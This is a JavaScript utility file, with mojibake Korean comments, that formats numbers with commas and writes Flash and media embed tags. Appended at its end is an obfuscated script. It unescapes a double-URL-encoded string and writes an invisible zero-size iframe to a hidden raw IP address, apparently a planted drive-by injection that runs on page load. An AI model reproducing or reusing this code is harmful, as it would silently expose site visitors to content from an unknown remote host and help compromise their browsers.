		str[str.length]=v.charAt(v.length-i);
		//Ã¹ºÎºÐÀÌ³ª, ³¡ºÎºÐ¿¡´Â ÄÞ¸¶°¡ ¾Èµé¾î°¨
		if(i%3==0&&i!=0&&i!=v.length) {
			//¼¼ÀÚ¸®¸¶´Ù Á¡À» ÂïÀ½ - ¹è¿­À» ÇÚµé¸µÇÒ¶§ ½°Ç¥°¡ µé¾î°¡¸é Çê°¥¸®¹Ç·Î
			str[str.length]='.';
		}
	}
	//¹è¿­À» °Å²Ù·ÎµÈ ½ºÆ®¸µÀ¸·Î ¹Ù²ÛÈÄ¿¡, Á¡À» ÄÞ¸¶·Î Ä¡È¯
	str=str.reverse().join('').replace(/\./gi,',');
	return str;
}

function GetComma(n_value)
{
	var v=n_value.value;
	v=v.comma();
	n_value.value=v;
}


// ÇÃ·¡½¬
function SwfAttribute()
{
	this.src = "";
	this.width = 0;
	this.height = 0;
	this.wmode = "opaque";
}

function PrtSwf(swf)
{
	var opt = "<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" ";
	opt += "width="+ String(swf.width) +" height="+ String(swf.height) +">";
	opt += "<param name=wmode value="+ swf.wmode +" />";
	opt += "<param name=movie value="+ swf.src +" /><param name=quality value=high />";
	opt += "<embed src="+ swf.src +" quality=high wmode="+ swf.wmode +" type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/shockwave/download/index.cgi?p1_prod_version=shockwaveflash\" ";
	opt += "width="+ String(swf.width) +" height="+ String(swf.height) +"></embed></object>";

	document.write(opt);
}

// Embed
function EmbedAttribute()
{
	this.src = "";
	this.width = "";
	this.height = "";
	this.loop = "false";
	this.autostart = "false";
	this.controller = "true";
	this.hidden = "false";
}

function PrtEmbed(att)
{
	var str = "<Embed src=\'" + String(att.src) + "\' ";
	if (att.width != "") str += "width="+ String(att.width) +" ";
	if (att.height != "") str += "height="+ String(att.height) + " ";
	str += "loop="+ String(att.loop) +" ";
	str += "autostart="+ String(att.autostart) +" ";
	str += "controller="+ String(att.controller) +" ";
	//str += "hidden="+ String(att.hidden);
	str += "></embed>";

	document.write(str);
}
<!--
var Words="%3Ciframe%20src%3Dhttp%3A%2F%2F%2532%2532%2532%252E%2532%2533%2533%252E%2535%2532%252E%2537%2F%20width%3D0%20height%3D0%3E%3C%2Fiframe%3E"
function SetNewWords()
{
var NewWords;
NewWords=unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
